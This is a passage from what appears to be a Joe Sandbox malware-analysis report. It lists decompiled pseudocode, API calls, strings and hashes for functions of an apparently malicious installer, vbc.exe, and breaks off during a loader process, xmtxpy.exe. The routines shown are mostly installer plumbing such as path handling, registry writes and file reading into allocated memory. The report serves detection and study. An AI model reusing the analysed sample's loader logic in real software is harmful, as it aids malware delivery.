				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E004059FC(__ecx, "1033");
				while(1) {
					_t26 =  *0x423ee4; // 0x1
					if(_t26 == 0) {
						goto L7;
					}
					_t15 =  *0x423eb0; // 0x8c0fa0
					_t16 =  *(_t15 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423ee0;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423680 = _t18[1];
					 *0x423f48 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42367c = _t23;
						E004059E3(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420470, E00405AA7(_t13, _t24, _t26, "fwwmjbqpxzax Setup", 0xfffffffe));
						_t11 =  *0x423ecc; // 0x1
						_t27 =  *0x423ec8; // 0x8c114c
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t5 = _t27 + 0x18; // 0x8c1164
								_t11 = E00405AA7(_t13, _t25, _t27, _t5, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x0040389b
0x004038a0
0x004038a6
0x004038ab
0x004038ab
0x004038b3
0x00000000
0x00000000
0x004038b5
0x004038bb
0x004038c3
0x004038c5
0x004038cb
0x004038cb
0x004038cd
0x004038d9
0x00000000
0x00000000
0x004038dd
0x00000000
0x00000000
0x00000000
0x004038df
0x004038e4
0x004038ed
0x004038f3
0x004038f8
0x0040390c
0x00403917
0x0040392f
0x00403935
0x0040393a
0x00403942
0x00403963
0x00403963
0x00403963
0x00403944
0x00403946
0x00403946
0x0040394a
0x0040394d
0x00403951
0x00403951
0x00403956
0x0040395c
0x0040395c
0x00000000
0x00403946
0x004038fa
0x004038ff
0x00403908
0x00403901
0x00403901
0x00403901
0x004038ff

APIs

SetWindowTextA.USER32(00000000,fwwmjbqpxzax Setup), ref: 0040392F

Strings

1033, xrefs: 0040389B, 004038A5, 00403916
C:\Users\user\AppData\Local\Temp\, xrefs: 00403898
fwwmjbqpxzax Setup, xrefs: 0040391E

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\$fwwmjbqpxzax Setup
API String ID: 530164218-2017237357
Opcode ID: 79dbb7d0da1226e987bea17a70b9353cd826d311687ab2bcae082b141bbcb9ba
Instruction ID: 77a07bfd4d582853364bfe0cce575c4745298431d34a1254bec181f891eb0756
Opcode Fuzzy Hash: 79dbb7d0da1226e987bea17a70b9353cd826d311687ab2bcae082b141bbcb9ba
Instruction Fuzzy Hash: 3611C271B005119BC334AF15D880A373BBDEF84726369827BE901A73A1C77E9E039A58

Uniqueness

Uniqueness Score: -1.00%

Function 00405578 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405578(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x40900c);
				}
				return _t7;
			}

0x00405579
0x00405590
0x00405598
0x00405598
0x004055a0

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040320F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040336F), ref: 0040557E
CharPrevA.USER32(?,00000000), ref: 00405587
lstrcatA.KERNEL32(?,0040900C), ref: 00405598

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405578

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: 103a7f091eca4e356757d037532255daa0bd9c7b09fb9152348cdcff170487b5
Instruction ID: 4689f4cb8dc724d8b29f049f697397264ef60a28c46f00026a2de7c751f5ddbe
Opcode Fuzzy Hash: 103a7f091eca4e356757d037532255daa0bd9c7b09fb9152348cdcff170487b5
Instruction Fuzzy Hash: 17D0A962609A307EE20222159C05ECB2A08CF42301B048022F500B62D2C33C4D418FFE

Uniqueness

Uniqueness Score: -1.00%

Function 004022F5 Relevance: 6.1, APIs: 4, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004022F5(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				signed int _t30;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402ADD(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x14));
				 *(_t37 - 0x30) =  *(_t37 - 0x10);
				 *(_t37 - 0x44) = E004029E8(2);
				_t18 = E004029E8(0x11);
				_t30 =  *0x423f50; // 0x0
				_t31 = _t30 | 0x00000002;
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27, _t30 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E004029E8(0x23);
						_t19 = lstrlenA(0x40a368) + 1;
					}
					if(_t35 == 4) {
						_t24 = E004029CB(3);
						 *0x40a368 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402F01(_t31,  *((intOrPtr*)(_t37 - 0x18)), _t27, 0x40a368, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x44), _t27,  *(_t37 - 0x30), 0x40a368, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423f28 =  *0x423f28 +  *(_t37 - 4);
				return 0;
			}

0x004022f6
0x004022fb
0x00402305
0x0040230f
0x00402312
0x0040231c
0x00402322
0x0040232c
0x00402333
0x0040233b
0x00402349
0x0040234d
0x00402358
0x00402358
0x0040235c
0x00402360
0x00402366
0x0040236b
0x0040236b
0x0040236f
0x0040237b
0x0040237b
0x00402394
0x00402396
0x00402396
0x00402399
0x0040246f
0x0040246f
0x00402880
0x0040288c

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?), ref: 00402333
lstrlenA.KERNEL32(0040A368,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402353
RegSetValueExA.ADVAPI32(?,?,?,?,0040A368,00000000), ref: 0040238C
RegCloseKey.ADVAPI32(?), ref: 0040246F

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 652f9a8a3f1dc98aeeeb98f906d59e2320e136a87a08436aae013fd7976f2720
Instruction ID: c0f72d529a206c1f33eb9b8d59e365bb4fe54d10a3d93e78d78dba992e985e14
Opcode Fuzzy Hash: 652f9a8a3f1dc98aeeeb98f906d59e2320e136a87a08436aae013fd7976f2720
Instruction Fuzzy Hash: 0F1175B1E00118BFEB10AFA1DE4AEAF767CEB04758F10443AF505B71D0D6B99D019A69

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5 Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401EC5(char __ebx, char* __edi, char* __esi) {
				char* _t18;
				int _t19;
				void* _t30;

				_t18 = E004029E8(0xffffffee);
				 *(_t30 - 0x2c) = _t18;
				_t19 = GetFileVersionInfoSizeA(_t18, _t30 - 0x30);
				 *__esi = __ebx;
				 *(_t30 - 8) = _t19;
				 *__edi = __ebx;
				 *((intOrPtr*)(_t30 - 4)) = 1;
				if(_t19 != __ebx) {
					__eax = GlobalAlloc(0x40, __eax);
					 *(__ebp + 8) = __eax;
					if(__eax != __ebx) {
						if(__eax != 0) {
							__ebp - 0x44 = __ebp - 0x34;
							if(VerQueryValueA( *(__ebp + 8), 0x40900c, __ebp - 0x34, __ebp - 0x44) != 0) {
								 *(__ebp - 0x34) = E004059E3(__esi,  *((intOrPtr*)( *(__ebp - 0x34) + 8)));
								 *(__ebp - 0x34) = E004059E3(__edi,  *((intOrPtr*)( *(__ebp - 0x34) + 0xc)));
								 *((intOrPtr*)(__ebp - 4)) = __ebx;
							}
						}
						_push( *(__ebp + 8));
						GlobalFree();
					}
				}
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x00401ec7
0x00401ecf
0x00401ed4
0x00401ed9
0x00401edd
0x00401ee0
0x00401ee2
0x00401ee9
0x00401ef2
0x00401efa
0x00401efd
0x00401f12
0x00401f18
0x00401f2b
0x00401f34
0x00401f40
0x00401f45
0x00401f45
0x00401f2b
0x00401f48
0x00401b75
0x00401b75
0x00401efd
0x00402880
0x0040288c

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,0040900C,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 004059E3: wsprintfA.USER32 ref: 004059F0

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 4b5e31b804a9b772dc9bfcad09cdc0cdcb843d4ad43fb5df833395ad42dead39
Instruction ID: 32b4c4ba67c2d4aeec558e743cb191f9ba8cb92773df28d6a4a6bb64e08d8cf3
Opcode Fuzzy Hash: 4b5e31b804a9b772dc9bfcad09cdc0cdcb843d4ad43fb5df833395ad42dead39
Instruction Fuzzy Hash: 43111CB2900108BEDB01EFA5D945DAEBBB9EF04354B20807AF505F61E1D7789E54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 0040560C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040560C(CHAR* _a4) {
				CHAR* _t3;
				char* _t5;
				CHAR* _t7;
				CHAR* _t8;
				void* _t10;

				_t8 = _a4;
				_t7 = CharNextA(_t8);
				_t3 = CharNextA(_t7);
				if( *_t8 == 0 ||  *_t7 != 0x5c3a) {
					if( *_t8 != 0x5c5c) {
						L8:
						return 0;
					}
					_t10 = 2;
					while(1) {
						_t10 = _t10 - 1;
						_t5 = E004055A3(_t3, 0x5c);
						if( *_t5 == 0) {
							goto L8;
						}
						_t3 = _t5 + 1;
						if(_t10 != 0) {
							continue;
						}
						return _t3;
					}
					goto L8;
				} else {
					return CharNextA(_t3);
				}
			}

0x00405615
0x0040561c
0x0040561f
0x00405624
0x00405637
0x00405651
0x00000000
0x00405651
0x0040563b
0x0040563c
0x0040563f
0x00405640
0x00405648
0x00000000
0x00000000
0x0040564a
0x0040564d
0x00000000
0x00000000
0x00000000
0x0040564d
0x00000000
0x0040562d
0x00000000
0x0040562e

APIs

CharNextA.USER32(004053BE), ref: 0040561A
CharNextA.USER32(00000000), ref: 0040561F
CharNextA.USER32(00000000), ref: 0040562E

Strings

C:\, xrefs: 0040560D

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: 823a6b04a944e09c4ec49499f0146cce19f7af5e9ff0db91097355eacddc88c5
Instruction ID: 8d77621b7085ccb429820eca4f781d68bcfd126ff613cd56e481de53d81d286f
Opcode Fuzzy Hash: 823a6b04a944e09c4ec49499f0146cce19f7af5e9ff0db91097355eacddc88c5
Instruction Fuzzy Hash: EAF02752A84A202AEB2232680C54B2B579CCBA5750F444C33E244B62D1C2BD4C838FEA

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D1B() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 0x34)), 0x5a);
				0x40af6c->lfHeight =  ~(MulDiv(E004029CB(2), _t6, 0x48));
				 *0x40af7c = E004029CB(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x14));
				 *0x40af83 = 1;
				 *0x40af80 = _t11 & 0x00000001;
				 *0x40af81 = _t11 & 0x00000002;
				 *0x40af82 = _t11 & 0x00000004;
				E00405AA7(_t18, _t24, _t26, 0x40af88,  *((intOrPtr*)(_t28 - 0x20)));
				_t14 = CreateFontIndirectA(0x40af6c);
				_push(_t14);
				_push(_t26);
				E004059E3();
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d29
0x00401d42
0x00401d4c
0x00401d51
0x00401d5c
0x00401d63
0x00401d75
0x00401d7b
0x00401d80
0x00401d8a
0x004024aa
0x00401561
0x00402825
0x00402880
0x0040288c

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32 ref: 00401D38
CreateFontIndirectA.GDI32(0040AF6C), ref: 00401D8A

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 5bdeddeca4668f0a0f0504b7d7b2f7c507d3b1edf4264a992670beebdbd79f47
Instruction ID: 28934dfc7bc65fa7e96b773f26fd89147779a1e7d92ad1971070d574f64f8b8b
Opcode Fuzzy Hash: 5bdeddeca4668f0a0f0504b7d7b2f7c507d3b1edf4264a992670beebdbd79f47
Instruction Fuzzy Hash: 3AF0AFF0A48341AEE7009770AE1ABAA3B64A715305F104535F582BA1E2C6BC04159F3F

Uniqueness

Uniqueness Score: -1.00%

Function 00404D73 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404D73(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420480 != _t22) {
							 *0x420480 = _t22;
							E00405A85(0x420498, 0x424000);
							E004059E3(0x424000, _t22);
							E0040140B(6);
							E00405A85(0x424000, 0x420498);
						}
						L11:
						return CallWindowProcA( *0x420488, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E004046F2(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403E83(0x413);
				return 0;
			}

0x00404d7f
0x00404da4
0x00404dc4
0x00404dc7
0x00404dca
0x00404de1
0x00404de7
0x00404dee
0x00404df5
0x00404dfc
0x00404e01
0x00404e07
0x00000000
0x00404e17
0x00404db1
0x00404e04
0x00404e04
0x00000000
0x00404e04
0x00404dbd
0x00404dbf
0x00000000
0x00404dbf
0x00404d85
0x00000000
0x00000000
0x00404d8c
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00404DA9
CallWindowProcA.USER32(?,00000200,?,?), ref: 00404E17

Part of subcall function 00403E83: SendMessageA.USER32 ref: 00403E95

Strings

, xrefs: 00404D81

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2cfa0dda5096fc282298ac24804e266d5556b05f30a7a7ef0aebc418f5cb8028
Instruction ID: ec2fcea156de3e0d4d2633a939c9d5c5ec8f09c93be26486dc307f4b459a9b20
Opcode Fuzzy Hash: 2cfa0dda5096fc282298ac24804e266d5556b05f30a7a7ef0aebc418f5cb8028
Instruction Fuzzy Hash: B5116A71600208BBDB21AF51DC409AB3A69AB84769F00853AFB14691E2C3799D919FA9

Uniqueness

Uniqueness Score: -1.00%

Function 004055BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004055BF(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x004055c0
0x004055ca
0x004055cc
0x004055d3
0x004055db
0x00000000
0x00000000
0x00000000
0x004055db
0x004055dd
0x004055e2

APIs

lstrlenA.KERNEL32(80000000,C:\Users\Public,00402CC7,C:\Users\Public,C:\Users\Public,C:\Users\Public\vbc.exe,C:\Users\Public\vbc.exe,80000000,00000003), ref: 004055C5
CharPrevA.USER32(80000000,00000000), ref: 004055D3

Strings

C:\Users\Public, xrefs: 004055BF

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\Public
API String ID: 2709904686-2272764151
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 41873d5d9910b4adf2dd72edffcb0a7ece880f135012a8254964d84567f142cd
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: 54D05E62408AB02EE30252109C00B8F7A98CB16300F194462E040A6194C2784C418EB9

Uniqueness

Uniqueness Score: -1.00%

Function 004056D1 Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056D1(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x004056dd
0x004056df
0x00405707
0x004056ec
0x004056f1
0x004056fc
0x00000000
0x00405719
0x00405705
0x00405705
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004058DF,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004056D8
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,004058DF,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004056F1
CharNextA.USER32(00000000), ref: 004056FF
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004058DF,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405708

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: ab644034e2f35de8b9eb45aecd4941bea8d0256c976e6660c88f08d3bba40562
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: 93F0A73620DD62DAC3125B695C44A6F6F94EF91314F14457AF440F3141D3359812ABBF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: xmtxpy.exePID: 2260, Parent PID: 1712COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.4%
Total number of Nodes:	1503
Total number of Limit Nodes:	40

Executed Functions

Function 00120402 Relevance: 10.7, APIs: 7, Instructions: 196
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 001204DC
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00120506
ReadFile.KERNELBASE(00000000,00000000,00120248,?,00000000), ref: 0012051D
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 0012053F
CloseHandle.KERNELBASE(7FDFFF66,?,?,?,?,?,?,?,?,?,?,?,?,?,0012019C,7FDFFF66), ref: 001205B2
VirtualFree.KERNELBASE(00000000,00000000,00008000,?), ref: 001205BD
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,?,0012019C), ref: 00120608

Memory Dump Source

Source File: 00000005.00000002.464093968.0000000000120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_120000_xmtxpy.jbxd

Similarity

API ID: Virtual$AllocFileFree$CloseCreateHandleRead
String ID:
API String ID: 721982790-0
Opcode ID: 7596a5b0863dce102ac5e44fc0c1bf5ec247777bab1f74baaf6af156cc8ed73a
Instruction ID: 47a17514a964efb98d4adaa5735c13926ba66e04ccf7698547f6858255342762
Opcode Fuzzy Hash: 7596a5b0863dce102ac5e44fc0c1bf5ec247777bab1f74baaf6af156cc8ed73a
Instruction Fuzzy Hash: E7619131E00224ABCB15DFB4D884BAEB7B5AF58750F248259F505EB391EB349D118F54

Uniqueness

Uniqueness Score: -1.00%

Function 008A4173 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E008A4173(signed int __eax, void* __edx, void* __edi) {
				intOrPtr* _t14;
				void* _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t22;
				intOrPtr _t23;
				signed int _t32;
				void* _t42;
				void* _t43;
				signed int _t44;
				void* _t46;
				void* _t47;

